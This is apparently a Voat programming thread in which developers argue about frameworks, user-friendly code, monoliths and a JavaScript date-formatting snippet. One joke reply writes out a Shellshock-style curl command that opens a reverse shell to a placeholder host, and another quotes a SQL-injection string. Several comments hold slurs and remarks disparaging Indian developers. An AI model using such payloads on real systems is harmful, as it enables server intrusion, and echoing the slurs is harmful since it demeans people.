Your job as a developer is to make code that makes lives of the users easy. That is your primary goal.

2    13 Jun 2018 21:28 by u/roznak

Your job as a developer is to make code that makes lives of the users easy. That is your primary goal.

Not waste 90% of energy in useless frameworks that prevents your program to become a success. I keep on inheriting broken projects where 90% of the code is pure (framework) noise hiding the true functionality.

I recall a time when 10 different developers could create 10 successful projects with no frameworks. Nowadays you need 10 developers for on project that eventually becomes a failure every single time.

41 comments

0 u/Niggertown 13 Jun 2018 21:47

Then youll just attract retard users.

0 u/Adminstrater 14 Jun 2018 00:14

Soon, you'll learn all users are retards, and not necessarily on purpose.

0 u/Wargasm 14 Jun 2018 03:06

WHY WOULD YOUR PARENTS NAME YOU $OFFSET$PAYLOAD?

I DON'T UNDERSTAND!

0 u/RevanProdigalKnight 14 Jun 2018 05:43

Don't forget little Bobby Tables: ROBERT'); DROP TABLE Students;--

0 u/Wargasm 15 Jun 2018 04:40

and his friend curl -A "TOTALLYASTRINGANDNOTAFUNCTION='() { echo "no one will ever read this";};/bin/bash -i >/dev/tcp/$IPADDRESS/$PORT 2>&1 0<&1;'" http://www.somepoorbastard.com

0 u/lesshateplz 13 Jun 2018 21:54

Yep, The undocumented/buggy framework usually is what ruins the project. The reason for this is a project is started by someone in Indian who only knows a framework but fails at the implementation of the code.

0 u/Morbo 13 Jun 2018 22:49

Early on in my programming career I used to code around the user by trying to think of every scenario they could throw at my software and make sure I never let them mess up. It was a time consuming process but the users were happy because they could get around just fine and most any error possible was handled. Now that I am long in the tooth I write programs that steer my users so they can't get into trouble in the first place. The software flows much better and I don't have to think about what kind of trouble they can get into because I make sure they can only do what is proper. This has made me a very efficient project completer and my users don't complain about my software getting in their way. Instead they ask for more features since I made their job easier and they get more out of the software so they integrate it into their work more. It's a far cry from the mess these young and still wet behind the ears programmers produce with their buggy and convoluted frameworks and tool chains. I keep it simple, keep it real and school those young dipshits left and right because they get caught in implementation rather than making a good system. Mature programmers who took their licks and learned make great mentors but these kids think they know everything because they are up on all the latest fads in coding. They don't realize the art and science of writing software hasn't changed one bit at the fundamental level and frameworks only serve to "dumb-it-down" so their meager skills can keep up with programmers who actually know what's up. I love it when they finally get that "a-ha" moment and understand that you don't need a full framework to do something when five lines of simple code gives you the equivalent result with no overhead. If only more programmers could learn from the old grey beards and understand that we aren't getting better by building on more layers of crap. The old ways are still very much relevant and they will continue to be. Users are not the enemy. Frameworks and trendy fads are the enemy.

0 u/coopzy 13 Jun 2018 23:20

@TeranNotTerran

0 u/RevanProdigalKnight 14 Jun 2018 05:52

Just the a few days ago one of my coworkers asked me to consider refactoring the following JavaScript code:

const pad = n => n < 10 ? `0${n}` : n;
const formatDate = date => `${date.getUTCFullYear()}-${pad(date.getUTCMonth() + 1)}-${pad(date.getUTCDate())} ${pad(date.getUTCHours())}:${pad(date.getUTCMinutes())}:${pad(date.getUTCSeconds())}`

It takes a date and formats it into UTC YYYY-MM-DD HH:mm:ss using two single-line functions. Simple, right?

His rationale was (paraphrased):

This doesn't look like it would be easy to maintain moving forwards. You should consider using Moment.js to format this instead.

My first reaction was "How is this not easy to maintain?", followed shortly by "Why add all of Moment.js for one date formatting operation?" and finally "No, this is a stupid suggestion."

0 u/Morbo 14 Jun 2018 12:20

I see no problem with the two lines of code here. They are efficient and get the job done. Aside from long line length there is nothing problematic about it. Moment.js would be a waste for such a small task and it sounds like it's not even up to the task anyway. He's an idiot.

0 u/roznak [OP] 14 Jun 2018 21:48

Under deadlines, stress this wall of text in the one-line could contain a bug and it will take hours to find the bug that you could have used for productivity.

const pad = n => n < 10 ? `0${n}` : n;
const formatDate = date => `${date.getUTCFullYear()}-${pad(date.getUTCMonth() + 1)}-${pad(date.getUTCDate())} ${pad(date.getUTCHours())}:${pad(date.getUTCMinutes())}:${pad(date.getUTCMilliSeconds())}`

Now spot the bug in this above example.

0 u/RevanProdigalKnight 15 Jun 2018 04:14

You replaced date.getUTCSeconds() at the end of the line with date.getUTCMilliSeconds(), which is not only the desired function, but is the wrong name, the real function being date.getUTCMilliseconds().

That wasn't difficult to spot. All I had to do was scroll along the line, which is the one unfortunate part about template strings in JavaScript - they can't be broken up into multiple lines without inserting multiple lines into the output. That said, unit tests would have failed long before it ever got to production.

0 u/roznak [OP] 15 Jun 2018 19:44

The last one makes more sense, but still it forces you to think to find small issues. You create a wall of text with words that basically look the same '${pad(date.getUTC'

I mean it is hiding the true code which is "YYYY-MM-DD HH:mm:SS"

I am not that experienced in javascript, so this is out of my head.

const pad = n => n < 10 ? `0${n}` : n;
const DateOnly  = 
     datetime => `${datetime.getUTCFullYear()}-${pad(datetime.getUTCMonth() + 1)}-${pad(datetime.getUTCDate()}
const TimeOnly  = 
    datetime => ${pad(datetime.getUTCHours())}:${pad(datetime.getUTCMinutes())}:${datetime(date.getUTCSeconds())
const formatDateTime =
     datetime => `${DateOnly(datetime) TimeOnly(datetime)}
0 u/RevanProdigalKnight 15 Jun 2018 20:29

You make a fair point. Maybe the optimum solution is somewhere in the middle, e.g.:

const pad = v => v < 10 ? `0${v}` : v;
const _formatDate = (
  year, 
  month, 
  date, 
  hour, 
  minute, 
  second
) => `${year}-${pad(month)}-${pad(date)} ${pad(hour)}:${pad(minute)}:${pad(second)}`;
const formatDate = date => _formatDate(
  date.getUTCFullYear(),
  // etc. 
) ;
0 u/roznak [OP] 15 Jun 2018 20:41

WOW, this is what I call code that rocks!

I look at it and I can instantly recognize the code. Your eyes gets drawn what is the real functional code and you ignore the noise that is not important.

Even without reading the code you can, based on the white space and the ordering of the words, sense that something is wrong in this code or not. This is important because just by scrolling at a relative fast pace I can now detect things that may give clues that it does not compute.

0 u/notenoughstuff 14 Jun 2018 06:29

Out of curiosity: Which kind of applications and software do you work with? Front-end? Desktop applications? Mobile? Fullstack? It does not sound like embedded or back-end, though I could be wrong.

0 u/Morbo 14 Jun 2018 12:18

I mostly work on web and desktop with some mobile here and there. I'm also full stack end-to-end because my group doesn't really split up into distinct areas of work so we all do whatever is necessary on every part of the technology stack. I have an embedded development background but that was a long time ago on CPUs like the Z80 and MC6800 and I haven't touched that in about 2 decades.

0 u/notenoughstuff 14 Jun 2018 17:28

Part of the reason I was curious is because I do not fully agree with you regarding there not having been considerable changes at the fundamental level. I would definitely agree that there is a lot of churn regarding new frameworks, especially in front-end development, but there are some areas where things have changed very much, and where these changes makes large differences. Especially in regards to concurrency. Of course, the best option regarding concurrency is to avoid it as much as is viable, but for those applications where the difficulty includes for instance scaling in regards to massive amounts of concurrent activity, the newer developments very much can help or be necessary. I don't think Twitter, for instance, would have been nearly as robust and resilient regarding scaling of concurrent activity if they did not approach the challenges with fundamentally different/newer concurrency (and arguably distributed) programming models. They used to have lots of "fail whales" back when they still used Ruby on Rails, but that is a very rare sight these days.

Of course, what is very important to remember, and which I think you have a major point regarding and which I touched lightly on previously, is that these techniques are far from always needed and can be much worse than simpler alternatives due to their costs, and so they should generally not be used unless their many costs justify their usage (though their costs can very a lot from team to team, project to project, organization to organization, etc.). And thinking through things can help very much - if for instance building a very large "monolith" for a given project will be very risky, time-consuming, difficult to maintain and might need a lot of (lucky and successful) design, requirements work, etc., it will typically be much, much better when possible to instead create a lot of smaller, independent applications, especially if these applications do not need to communicate with each other.

But my argument is overall that, for some applications and challenges, things have changed.

I also think that (meta-language/ML-style) functional programming offers a lot of improvements for many/most cases and areas for basic development, and I think that is a major part of why such functionality has seeped into all mainstream programming languages, including Java and C++. But I do think that a focus on choosing the most suited fundamental approach and avoiding "complex"/"advanced" solutions and approaches when such are not justified gives much more value, and that another part of the main value of functional programming is that it supports such "complex"/"advanced" solutions and approaches when such really are justified or even needed.

Concurrency in particular can be very, very difficult to do correctly depending on the task or project. And while the first approach to concurrency should always be "how can we avoid concurrency or avoid having to deal with it", it is for some projects and tasks necessary to deal with.

0 u/roznak [OP] 15 Jun 2018 23:19

And thinking through things can help very much - if for instance building a very large "monolith" for a given project will be very risky, time-consuming, difficult to maintain and might need a lot of (lucky and successful) design, requirements work, etc., it will typically be much, much better when possible to instead create a lot of smaller, independent applications, especially if these applications do not need to communicate with each other.

I always hear this "monolith" is bad, however all your independent modules will in the end grow into a giant monolith as they grow and tend to more and more interact with each other.

Monolith design can be as flexible as your independent applications but way way way faster and stable. It all depends on the quality developer that acted as a guide how to do it. This knowledge has been lost since SCRUM teams have become the norm. I have seen how very skilled developer have reverted into a losers mentality where failing a sprint has become a norm. Following the processes is now more important than creating good programs.

Monolithic programs are too slow to adapt? Have you not noticed that users are fed up with programs that change daily in functionality yet again? Changes are so fast that no one cares anymore. All they notice are icon changes, font changes, more animation but have no clue what changed in functionality. The users brain has adapted to these changes by ignoring what changed. No one cares anymore what is new.

0 u/throwawayplease 20 Jun 2018 22:40

0

0 u/notenoughstuff 20 Jun 2018 23:20

Irrelevant to the topic, and more spam.

0 u/throwawayplease 22 Jun 2018 06:04

yawn

0 u/notenoughstuff 23 Jun 2018 01:30

Spam and likely trolling directed at me that does not contribute.

0 u/roznak [OP] 14 Jun 2018 16:59

Now that I am long in the tooth I write programs that steer my users so they can't get into trouble in the first place.

Exactly!

Users are not the enemy. Frameworks and trendy fads are the enemy.

Frameworks never solves problems they causes problems in the long run.

0 u/J_Darnley 13 Jun 2018 22:58

Tangentially related...

I do get paid to program but I don't get paid to deal with users too stupid to read whatever error message I give them. It tells you why it failed. You asked for impossible constraints. This is why I stopped volunteering my time to help users on some projects. They don't read.

Maybe you don't understand what it means because you lack knowledge in this domain. Okay but tell me what it says. Do not say "it doesn't work". "it doesn't work" is not an error message.

I hate users. Unless you're paying me I'm only writing software for myself.

0 u/Vhaine 13 Jun 2018 23:51

A dollar for every time some asshole called and said 'it's broke' and acted like I was a dick for asking them to read what was on the screen...

0 u/roznak [OP] 14 Jun 2018 16:50

I do get paid to program but I don't get paid to deal with users too stupid to read whatever error message I give them.

Unlike you, I actually make my program work and not cause errors.

0 u/Vhaine 13 Jun 2018 23:49

Then why does Windows10 even exist...

0 u/Adminstrater 14 Jun 2018 00:13

Everyone always builds for expanding.

Just build a simple, functional site that allows additions of modules by programmers, if, and when the time comes.

Not every site needs a third party CMS.

0 u/aGameCalledCountries 14 Jun 2018 01:33

I program malware. You are wrong.

0 u/Wargasm 14 Jun 2018 03:05

Do you work in eastern europe?

There's a boom over there; they have call centers and customer support.

0 u/MrKequc 17 Jun 2018 00:34

That's not the worst of it, I hear some of the hackers bought facebook ads swung an entire american election.

0 u/Nalbarcam 21 Jun 2018 05:40

I heard the same thing about democrats!

0 u/patriot_biz 14 Jun 2018 02:44

Naw, good software is difficult to make, it should be difficult to use.

0 u/WhiteMakesRight 15 Jun 2018 19:55

Your job is whatever your job is. Software and CPUs are just tools. Don't get too impressed with yourself, just because you're slightly wiser than the average, 15 year old Node.js developer.

0 u/roznak [OP] 15 Jun 2018 20:11

Bad developers sees the Software and CPU as just tools, the user is stupid. You get in a none-stop fight with your users that refuses to do it correctly.

Good developers uses these tools to elevate the code so that the users actually wants to use it. No actual interaction with your users is needed because it works intuitively.

Who do you think is the most productive developer? The one that keeps on fixing users issues or the one that gets uninterrupted development time to create even better code?

0 u/WhiteMakesRight 15 Jun 2018 20:21

Bad developers sees the Software and CPU as just tools, the user is stupid. You get in a none-stop fight with your users that refuses to do it correctly.

See, there's your mistake. You see incompetence all around you and think that being above the average level of incompetence somehow makes you a god among men. 90% of every industry is incompetent fucks and rank amateurs, at least. Don't become too into yourself just because you're not. John Carmack didn't make yet another, slightly better than average 2D side-scroller and call it a day.

0 u/roznak [OP] 15 Jun 2018 20:32

I started a "discussion" It is up to the people here to have their say. Improve me, educate others..... Explain to new developers that come here and show them how to do it correctly.

Discuss, share your knowledge start discussions yourself. Make sure that the next generation of developers are actually good!

And how is making code that is user friendly bad practice?

0 u/WhiteMakesRight 16 Jun 2018 01:08

And how is making code that is user friendly bad practice?

A loaded question. That's a great start.

Are you really interested in "improving" and "educating"? Or just congratulating yourself whilst flinging dirt at easy targets...?

Explain to new developers that come here and show them how to do it correctly.

For starters, the printf in the banner image at the top of the page should be puts. This is such a common mistake that GCC and Clang will both convert it automatically, but that's no excuse for making it.

0 u/roznak [OP] 16 Jun 2018 01:34

My idea is an open discussion. Irrelevant if I agree or not, the whole point is that others gets inspiration from your contribution.

Your contribution no matter how lengthy it is, may become very interesting for future Voat readers that gets inspiration from your posts. I actually would love that you start your own discussions here on Voat too.

I really hope that v/programming becomes a very lively discussion part in the future. With passion fire and ice. Good versus Evil... :-)

0 u/MrKequc 17 Jun 2018 00:30

Bloat is a big problem and there are way too many frameworks and tools at everyone's disposal many of which are horrible. But that isn't the biggest problem facing the tech community. It's the people.

Jesus Christ what does it take to find a developer who doesn't suck shit at their job. Just because a tool is available doesn't mean it needs to get hammered into the project. Learn how to write something that can be read. Managers exacerbate the issue in many ways, chiefly by not seeming to understand the different between a good developer and a bad one. Diversity hires and social justice are out of control, SCRUM practices are bringing capable developers to their knees.

Often in the end they just get Indians to do it.

One good developer can do a better job in less time than 20 bad ones!